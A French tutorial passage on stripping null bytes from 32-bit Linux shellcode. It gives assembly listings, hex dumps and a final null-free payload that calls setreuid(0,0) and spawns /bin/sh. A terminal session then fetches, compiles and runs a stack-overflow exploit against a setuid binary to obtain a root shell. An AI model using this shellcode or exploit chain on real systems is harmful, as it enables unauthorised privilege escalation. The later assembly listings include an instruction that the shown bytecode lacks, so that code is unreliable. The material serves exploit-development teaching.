Shellcode - caractères interdits    Enregistrer au format PDF


par S3cur3D

Supprimer les Null Bytes

Enlever les 0 explicités dans le code
On rappelle le bytecode final obtenu à l’étape précédente :

   00000000   66 B8 46 00  00 00 66 BB  00 00 00 00  66 B9 00 00  f.F...f.....f...
   00000010   00 00 CD 80  EB 28 66 5B  66 B8 00 00  00 00 67 88  .....(f[f.....g.
   00000020   43 07 66 67  89 5B 08 66  67 89 43 0C  66 B8 0B 00  C.fg.[.fg.C.f...
   00000030   00 00 66 67  8D 4B 08 66  67 8D 53 0C  CD 80 E8 D5  ..fg.K.fg.S.....
   00000040   FF 2F 62 69  6E 2F 73 68  30 61 61 61  61 62 62 62  ./bin/sh0aaaabbb
   00000050   62                                                                                b

On remarque trois successions particulières de bytes qui se répètent, à savoir des blocs de 4 bytes nuls. En traduisant ces blocs en hexadécimal, on obtient trivialement 0x00000000 : il s’agit sûrement de 0 explicités dans le code. En observant le code, on trouve facilement les trois instructions coupables, toutes trois de la forme mov registre,0. Avec nos connaissances en assembleur, on peut régler ce problème en utilisant l’instruction XOR (OU exclusif). Par définition, le OU exclusif retourne un résultat de 0 si on XOR une variable par rapport à elle même. Ie, XOR registre,registre place le résultat du XOR (c’est à dire 0) dans registre, et c’est gagné !
Voici le code après avoir supprimé les 0 explicités :

  1.  
  2.    ;shellcode.asm
  3.  
  4.        mov eax,70  ;on mets eax à 70 pour préparer l'appel à setreuid
  5.        xor ebx,ebx  ;real uid 0 => root
  6.        xor ecx,ecx  ;effective uid 0 => root
  7.        int 0x80  ;Syscall 70
  8.  
  9.        jmp chaine  ;On va au label <chaine>
  10.  
  11.     retour:  ;On arrive ici après le call : le fond de la pile est l'adresse de retour du call, donc l'adresse de cheminshell
  12.        pop ebx  ;On enlève cette adresse de la pile (avec pop) et on la place dans ebx
  13.  
  14.        xor eax,eax  ;on mets 0 dans eax
  15.        mov [ebx+7],al  ;on mets le 0 (de eax) 7 caractères après le début de la chaîne
  16.                 ;en fait, on réécrit le 0 de la chaine avec un nul byte
  17.                 ;al occupe 1 byte
  18.        mov [ebx+8],ebx  ;on mets l'addresse de la chaine 8 caractères après son début
  19.                 ;En fait, on réécrit aaaa par l'adresse de cheminshell
  20.        mov [ebx+12],eax  ;12 caractères après le début, on mets les 4 bytes de eax
  21.                 ;en fait, on réécrit bbbb par 0x00000000
  22.        mov eax,11  ;on mets eax à 11 pour préparer l'appel à execve
  23.        lea ecx,[ebx+8]  ;on charge l'adresse de (anciennement) aaaa dans ecx
  24.        lea edx,[ebx+12]  ;on charge l'adresse de (anciennement) bbbb dans edx
  25.        int 0x80  ;Syscall 11
  26.  
  27.     chaine:  ;label chaine où on arrive après le jump
  28.        call retour  ;On retourne au label retour en mettant l'adresse de la prochaine instruction (cheminshell) dans la pile
  29.        cheminshell db "/bin/sh0aaaabbbb"

Télécharger

Et le nouveau bytecode après modification :

   00000000   66 B8 46 00  00 00 66 31  DB 66 31 D9  CD 80 E9 25  f.F...f1.f1....%
   00000010   00 66 5B 66  31 C0 67 88  43 07 66 67  89 5B 08 66  .f[f1.g.C.fg.[.f
   00000020   67 89 43 0C  66 B8 0B 00  00 00 66 67  8D 4B 08 66  g.C.f.....fg.K.f
   00000030   67 8D 53 0C  CD 80 E8 D8  FF 2F 62 69  6E 2F 73 68  g.S....../bin/sh
   00000040   30 61 61 61  61 62 62 62  62                                        0aaaabbbb

Hmm, il en reste encore...

Enlever les 0 dûs à l’utilisation de registres 32 bits pour des valeurs de 8 bits
On remarque cette fois deux blocs de 3 bytes nuls consécutifs. La mise en relation entre le premier bloc de zéros et la première instruction du programme nous donne encore une fois immédiatement la raison de la présence de ces null bytes : on s’aperçoit que ces opcodes semblent provenir de mov eax,70 et mov eax,11. Effectivement, après un essai, on s’aperçoit que mov eax,70 s’assemble en 66 B8 46 00 00 00. Et oui ! On se rappelle que l’adressage des registres se fait sur 32 bits, donc 70 s’écrira 0x00000046 dans eax. Par conséquent, il suffit d’utiliser le registre al de 8 bits (sans oublier de faire un xor avant sur eax pour que les autres bytes soient forcément nulles et qu’on ait bien la valeur 70 dans le registre).
On modifie encore une fois le code :

  1.     ;shellcode.asm
  2.  
  3.        xor eax,eax  ;on mets eax à 0
  4.        mov al,70  ;on mets al (donc eax) à 70 pour préparer l'appel à setreuid
  5.        xor ebx,ebx  ;real uid 0 => root
  6.        xor ecx,ecx  ;effective uid 0 => root
  7.        int 0x80  ;Syscall 70
  8.  
  9.        jmp chaine  ;On va au label <chaine>
  10.  
  11.     retour:  ;On arrive ici après le call : le fond de la pile est l'adresse de retour du call, donc l'adresse de cheminshell
  12.        pop ebx  ;On enlève cette adresse de la pile (avec pop) et on la place dans ebx
  13.  
  14.        xor eax,eax  ;on mets 0 dans eax
  15.        mov ebx,cheminshell  ;on mets l'adresse de cheminshell dans ebx
  16.        mov [ebx+7],al  ;on mets le 0 (de eax) 7 caractères après le début de la chaîne
  17.                 ;en fait, on réécrit le 0 de la chaine avec un nul byte
  18.                 ;al occupe 1 byte
  19.        mov [ebx+8],ebx  ;on mets l'addresse de la chaine 8 caractères après son début
  20.                 ;En fait, on réécrit aaaa par l'adresse de cheminshell
  21.        mov [ebx+12],eax  ;12 caractères après le début, on mets les 4 bytes de eax
  22.                 ;en fait, on réécrit bbbb par 0x00000000
  23.        mov al,11  ;on mets al (donc eax) à 11 pour préparer l'appel à execve
  24.        lea ecx,[ebx+8]  ;on charge l'adresse de (anciennement) aaaa dans ecx
  25.        lea edx,[ebx+12]  ;on charge l'adresse de (anciennement) bbbb dans edx
  26.        int 0x80  ;Syscall 11
  27.  
  28.     chaine:  ;label chaine où on arrive après le jump
  29.        call retour  ;On retourne au label retour en mettant l'adresse de la prochaine instruction (cheminshell) dans la pile
  30.        cheminshell db "/bin/sh0aaaabbbb"

Télécharger

Et on l’ouvre dans un éditeur hexadécimal :

   00000000   66 31 C0 B0  46 66 31 DB  66 31 D9 CD  80 E9 24 00  f1..Ff1.f1....$.
   00000010   66 5B 66 31  C0 67 88 43  07 66 67 89  5B 08 66 67  f[f1.g.C.fg.[.fg
   00000020   89 43 0C 66  31 C0 B0 0B  66 67 8D 4B  08 66 67 8D  .C.f1...fg.K.fg.
   00000030   53 0C CD 80  E8 D9 FF 2F  62 69 6E 2F  73 68 30 61  S....../bin/sh0a
   00000040   61 61 61 62  62 62 62                                                  aaabbbb

On y est presque ! Plus qu’un byte nul...

Enlever le 0 dû à l’utilisation du jmp long et supprimer les préfixes 16 bits
Le dernier null byte restant peut être plus dur à examiner pour les non-initiés à l’assemblage. En mettant en relation le code et le bytecode, on s’aperçoit que c’est le jmp qui nous emmène à la fin du code qui créé ce 00. En effet, les jmp peuvent modifier l’EIP d’un offset de 2^16. Par conséquent, l’écriture de l’offset se fait sur 16 bits. Or, notre programme étant court, nous n’avons pas besoin d’écrire l’offset sur 16 bits, on peut très bien se contenter de 8 bits (décalage maximum de 256, beaucoup plus grand que la taille de notre shellcode)
La solution est tout simplement d’utiliser l’instruction jmp short qui remplit exactement cette fonction.
Aussi, afin de raccourcir notre shellcode, on peut enlever les 9 bytes désormais obsolètes que sont "0aaaabbbb" à la fin de la chaîne. En effet, nous ne travaillons plus dans un programme et les bytes qu’occupent ces caractères sont, pendant une vraie injection de shellcode en mémoire, de l’espace dans la pile qui a été dépassé et qui de toute façon n’était pas destiné à recevoir le buffer travaillé qui est envoyé, il n’y en a donc aucun besoin dans note bytecode.
Enfin, on rajoute BITS 32 au début du programme pour indiquer qu’on travaille avec les opcodes 32 bits (en réalité, les préfixes d’opcodes changent, on remarquera par exemple la disparition des 0x66).
Voici donc notre code final :

  1.     ;shellcode.asm
  2.  
  3.  
  4.     BITS 32
  5.  
  6.        xor eax,eax  ;on mets eax à 0
  7.        mov al,70  ;on mets al (donc eax) à 70 pour préparer l'appel à setreuid
  8.        xor ebx,ebx  ;real uid 0 => root
  9.        xor ecx,ecx  ;effective uid 0 => root
  10.        int 0x80  ;Syscall 70
  11.  
  12.        jmp short chaine  ;On va au label <chaine>
  13.  
  14.     retour:  ;On arrive ici après le call : le fond de la pile est l'adresse de retour du call, donc l'adresse de cheminshell
  15.        pop ebx  ;On enlève cette adresse de la pile (avec pop) et on la place dans ebx
  16.  
  17.        xor eax,eax  ;on mets 0 dans eax
  18.        mov ebx,cheminshell  ;on mets l'adresse de cheminshell dans ebx
  19.        mov [ebx+7],al  ;on mets le 0 (de eax) 7 caractères après le début de la chaîne
  20.                 ;en fait, on réécrit le 0 de la chaine avec un nul byte
  21.                 ;al occupe 1 byte
  22.        mov [ebx+8],ebx  ;on mets l'addresse de la chaine 8 caractères après son début
  23.                 ;En fait, on réécrit aaaa par l'adresse de cheminshell
  24.        mov [ebx+12],eax  ;12 caractères après le début, on mets les 4 bytes de eax
  25.                 ;en fait, on réécrit bbbb par 0x00000000
  26.        mov al,11  ;on mets al (donc eax) à 11 pour préparer l'appel à execve
  27.        lea ecx,[ebx+8]  ;on charge l'adresse de (anciennement) aaaa dans ecx
  28.        lea edx,[ebx+12]  ;on charge l'adresse de (anciennement) bbbb dans edx
  29.        int 0x80  ;Syscall 11
  30.  
  31.     chaine:  ;label chaine où on arrive après le jump
  32.        call retour  ;On retourne au label retour en mettant l'adresse de la prochaine instruction (cheminshell) dans la pile
  33.        cheminshell db "/bin/sh"

Télécharger

Et, enfin, notre shellcode :

   00000000   31 C0 B0 46  31 DB 31 D9  CD 80 EB 16  5B 31 C0 88  1..F1.1.....[1..
   00000010   43 07 89 5B  08 89 43 0C  B0 0B 8D 4B  08 8D 53 0C  C..[..C....K..S.
   00000020   CD 80 E8 E5  FF FF FF 2F  62 69 6E 2F  73 68              ......./bin/sh

Il est finalement temps de vérifier que l’on n’a pas fait tout ça pour rien (on réutilise le programme vulnérable et le programme d’exploitation de la partie stack-based overflow, en insérant notre shellcode :

   $ su -
   Password:
   # wget -q http://www.bases-hacking.org/sources/Systeme/BoF/stack-based_overflow.c
   # gcc stack-based_overflow.c -o stack-based_overflow
   # chmod +s stack-based_overflow
   # exit
   logout
   $ wget -q http://www.bases-hacking.org/sources/Shellcode/stack-based_exploit2.c
   $ gcc stack-based_exploit2.c -o stack-based_exploit2
   $ ./stack-based_exploit2
   Adresse cible à 0xbf9f5924 (offset de 0xa4)
   Buffer à 0xbf9f5914
   Votre nom,                    
                     
     1À°F1Û1ÙÍ€ë-[1ÀˆC‰‰C
   °
     S
   Í€èåÿÿÿ/bin/shŸ¿$YŸ¿$YŸ¿$YŸ¿$YŸ¿$YŸ¿, a été enregistré avec succès
   sh-3.1# whoami
   root
   sh-3.1#

Notre shellcode a l’air de marcher parfaitement. Il y a beaucoup de manières d’améliorer ce shellcode. On peut en faire des beaucoup plus petits (pratique quand on n’a pas beaucoup de place dans la pile pour injecter le shellcode), ou encore un shellcode en caractères ascii imprimables (qui permet d’injecter quand on ne peut injecter que des caractères) ou encore du shell code polymorphique (un bytecode contenant le shellcode crypté et dont le travail est de décrypter le shellcode, puis de l’éxécuter). Nous vous ferons peut-être part de ces techniques quand nous aurons complété les autres sections 😉

Documentations publiées dans cette rubrique